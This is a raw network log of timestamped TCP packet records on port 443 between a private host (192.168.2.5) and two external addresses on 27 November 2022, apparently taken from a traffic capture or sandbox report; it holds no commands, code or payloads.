Nov 27, 2022 04:37:39.797681093 CET	443	49834	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.798602104 CET	49834	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.799062967 CET	49834	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.799103022 CET	443	49834	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.799216986 CET	443	49834	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.885478020 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.885652065 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.885925055 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.896763086 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.896826029 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.357865095 CET	49835	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.357933998 CET	443	49835	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.358181000 CET	49835	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.380388975 CET	49835	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.380410910 CET	443	49835	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.380487919 CET	443	49835	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.527264118 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.527332067 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.527409077 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.534765005 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.534797907 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.576881886 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.576967955 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.584677935 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.584695101 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.592459917 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.592475891 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.601666927 CET	49837	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.601711035 CET	443	49837	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.601814985 CET	49837	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.602155924 CET	49837	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.602171898 CET	443	49837	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.602288961 CET	443	49837	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.684787035 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.685678959 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.685703993 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.685750008 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.708215952 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.708318949 CET	443	49836	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.708487988 CET	49836	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.867851973 CET	49838	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.867935896 CET	443	49838	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.868062019 CET	49838	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.868379116 CET	49838	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:41.868407965 CET	443	49838	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.868460894 CET	443	49838	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:41.880187035 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.880254030 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.880337000 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.882666111 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.882698059 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.931143045 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.931251049 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.976402044 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.976463079 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.977308989 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:41.977627039 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.981539011 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:41.981560946 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.033905029 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.034095049 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.034193993 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.034805059 CET	49839	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.034843922 CET	443	49839	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.085855961 CET	49840	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.085937977 CET	443	49840	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.086061001 CET	49840	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.086401939 CET	49840	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.086440086 CET	443	49840	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.086556911 CET	443	49840	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.206850052 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.206895113 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.206981897 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.207740068 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.207757950 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.262392998 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.262929916 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.275410891 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.275427103 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.279480934 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.279494047 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.321793079 CET	49842	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.321878910 CET	443	49842	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.322340012 CET	49842	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.322716951 CET	49842	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.322751999 CET	443	49842	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.322844028 CET	443	49842	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.370141029 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.370263100 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.370357990 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.388190985 CET	49841	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.388257027 CET	443	49841	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.533770084 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.533837080 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.533977985 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.536391020 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.536418915 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.540499926 CET	49844	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.540575027 CET	443	49844	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.540674925 CET	49844	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.541037083 CET	49844	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.541064978 CET	443	49844	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.541146994 CET	443	49844	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.586761951 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.586886883 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.627769947 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.627809048 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.632302046 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.632339001 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.689371109 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.689502001 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.689544916 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.689619064 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.707451105 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.707670927 CET	443	49843	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.707818031 CET	49843	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.803271055 CET	49845	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.803342104 CET	443	49845	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.803436995 CET	49845	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.803843021 CET	49845	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.803874969 CET	443	49845	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.803962946 CET	443	49845	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.872219086 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.872288942 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.872381926 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.879194975 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.879236937 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.929476023 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.929585934 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.950124979 CET	49847	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.950206995 CET	443	49847	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.950359106 CET	49847	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.950882912 CET	49847	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:42.950920105 CET	443	49847	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.951019049 CET	443	49847	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:42.953901052 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.953954935 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.954643011 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:42.954719067 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.962071896 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:42.962097883 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:43.026711941 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:43.026796103 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:43.026823997 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:43.026911974 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:43.026926994 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:43.027656078 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:43.070192099 CET	49846	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:43.070247889 CET	443	49846	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:43.201319933 CET	49848	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:43.201371908 CET	443	49848	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:43.201452971 CET	49848	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:43.201766968 CET	49848	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:43.201783895 CET	443	49848	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:43.201884031 CET	443	49848	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:44.344008923 CET	49849	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:44.344090939 CET	443	49849	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:44.344239950 CET	49849	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:44.344580889 CET	49849	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:44.344619989 CET	443	49849	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:44.344733953 CET	443	49849	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:44.362004995 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.362081051 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:44.362178087 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.369409084 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.369467974 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:44.419051886 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:44.419150114 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.422353983 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.422374964 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:44.428803921 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.428841114 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:44.461018085 CET	49851	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:44.461064100 CET	443	49851	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:44.461186886 CET	49851	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:44.465589046 CET	49851	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:44.465615988 CET	443	49851	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:44.465744019 CET	443	49851	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:44.537400961 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:44.537517071 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.537539005 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:44.537612915 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.537765026 CET	49850	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:44.537798882 CET	443	49850	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.697959900 CET	49853	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:45.698038101 CET	443	49853	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:45.698209047 CET	49853	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:45.698591948 CET	49853	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:45.698626041 CET	443	49853	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:45.698769093 CET	443	49853	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:45.843106031 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.843184948 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.843308926 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.843859911 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.843895912 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.894232035 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.895198107 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.921981096 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.922003031 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.932255983 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.932276011 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.951453924 CET	49855	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:45.951489925 CET	443	49855	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:45.951570988 CET	49855	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:45.951920986 CET	49855	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:45.951944113 CET	443	49855	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:45.952045918 CET	443	49855	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:45.996407986 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.996520042 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.996566057 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.996597052 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:45.996646881 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:45.996646881 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.028079987 CET	49854	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.028126001 CET	443	49854	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.147244930 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.147298098 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.147394896 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.149564028 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.149593115 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.186474085 CET	49857	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.186549902 CET	443	49857	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.186654091 CET	49857	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.186959028 CET	49857	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.186988115 CET	443	49857	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.187074900 CET	443	49857	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.200913906 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.200994968 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.237812042 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.237835884 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.253186941 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.253210068 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.313780069 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.313910961 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.313935995 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.313987970 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.342922926 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.343162060 CET	443	49856	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.343267918 CET	49856	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.402508974 CET	49858	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.402586937 CET	443	49858	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.402687073 CET	49858	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.403004885 CET	49858	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.403038025 CET	443	49858	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.403114080 CET	443	49858	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.475054979 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.475136042 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.475220919 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.480671883 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.480696917 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.530750990 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.530848026 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.555026054 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.555068970 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.555830956 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.555915117 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.556600094 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.556612015 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.587821007 CET	49860	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.587898016 CET	443	49860	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.588032961 CET	49860	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.588411093 CET	49860	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:46.588445902 CET	443	49860	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.588514090 CET	443	49860	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:46.631055117 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.631140947 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.631162882 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.631215096 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:46.631218910 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.631270885 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.669332027 CET	49859	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:46.669375896 CET	443	49859	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.132333994 CET	49861	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.132419109 CET	443	49861	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.132597923 CET	49861	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.133002043 CET	49861	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.133034945 CET	443	49861	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.133133888 CET	443	49861	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.256485939 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.256551027 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.256630898 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.257312059 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.257333994 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.300920010 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.300990105 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.303631067 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.303644896 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.307908058 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.307919979 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.391938925 CET	49863	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.391978979 CET	443	49863	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.392074108 CET	49863	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.392618895 CET	49863	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.392632008 CET	443	49863	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.392685890 CET	443	49863	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.412575006 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.412661076 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.412683010 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.412745953 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.465522051 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.465715885 CET	443	49862	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.465786934 CET	49862	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.577594042 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.577657938 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.577744007 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.590023041 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.590055943 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.621063948 CET	49865	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.621128082 CET	443	49865	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.621210098 CET	49865	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.621622086 CET	49865	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.621650934 CET	443	49865	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.621758938 CET	443	49865	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.640372992 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.640537024 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.705101967 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.705127954 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.705482960 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.705534935 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.706175089 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.706181049 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.800087929 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.800164938 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.800169945 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.800223112 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.807939053 CET	49864	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:50.807956934 CET	443	49864	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:50.969214916 CET	49866	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:50.969283104 CET	443	49866	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:50.969510078 CET	49866	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:51.811167955 CET	49866	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:51.811233997 CET	443	49866	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:51.811331987 CET	443	49866	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:51.966687918 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:51.966747999 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:51.966887951 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:51.976762056 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:51.976790905 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.018501997 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.018579960 CET	49867	443	192.168.2.5	172.66.43.60
